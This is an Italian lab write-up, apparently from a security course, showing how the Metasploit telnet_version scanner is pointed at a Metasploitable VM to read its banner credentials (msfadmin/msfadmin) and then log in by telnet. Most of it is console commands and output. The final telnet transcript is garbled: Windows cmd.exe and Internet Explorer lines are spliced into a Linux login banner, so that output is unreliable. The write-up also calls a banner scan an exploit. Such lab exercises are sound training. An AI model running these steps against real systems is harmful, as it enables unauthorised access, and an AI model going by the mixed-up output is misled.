

## EXPLOIT TELNET CON METASPLOIT:

Nel compito di oggi abbiamo attaccato telnet di metasploitable per trovare user e password.

Abbiamo utilizzato metasploit con il modulo ausiliario per colpire precisamente la vulnerabilità interessata.

Come vediamo nell'immagine qui sotto utilizzando il modulo ausiliario con il comando "use auxiliary/scanner/telnet/telnet\_version" ci da diversi parametri, e noi dobbiamo impostare l'rhosts, cioè l'ip di metasploitable che è la macchina target.

```
msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

  Name      Current Setting  Required  Description
  ---      -
  PASSWORD  no               no        The password for the specified username
  RHOSTS    no               yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     23               yes       The target port (TCP)
  THREADS   1                yes       The number of concurrent threads (max one per host)
  TIMEOUT   30               yes       Timeout for the Telnet probe
  USERNAME  no               no        The username to authenticate as

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.1.149
rhosts => 192.168.1.149
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

  Name      Current Setting  Required  Description
  ---      -
  PASSWORD  no               no        The password for the specified username
  RHOSTS    192.168.1.149   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     23               yes       The target port (TCP)
  THREADS   1                yes       The number of concurrent threads (max one per host)
  TIMEOUT   30               yes       Timeout for the Telnet probe
  USERNAME  no               no        The username to authenticate as
```

Una volta settato l'ip target abbiamo tutti i parametri necessari, adesso possiamo lanciare l'exploit.

In output vediamo tra le varie informazioni msfadmin/msfadmin che sono appunto le credenziali di metasploitable, quindi l'attacco è andato a buon fine:

```
msf6 auxiliary(scanner/telnet/telnet_version) > exploit

[*] 192.168.1.149:23 - 192.168.1.149:23 TELNET
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started

[*] 192.168.1.149:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Per avere una controprova dell'esattezza delle credenziali, possiamo provare a fare l'accesso con il comando "telnet 192.168.1.149" dove ci chiederà di inserirle e ci dirà se siamo entrati o meno.

```
msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.1.149
[*] exec: telnet 192.168.1.149

Trying 192.168.1.149 ...
Connected to 192.168.1.149.
Escape character is '^]'.

Microsoft Windows [Internet Explorer 10.0.9600.17134]
C:\Windows\system32\cmd.exe

Microsoft Windows [Version 7.0.7601.17514]
(c) 2011 Microsoft Corporation. All rights reserved.
C:\Windows\system32\cmd.exe

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Tue Nov 12 05:09:43 EST 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
```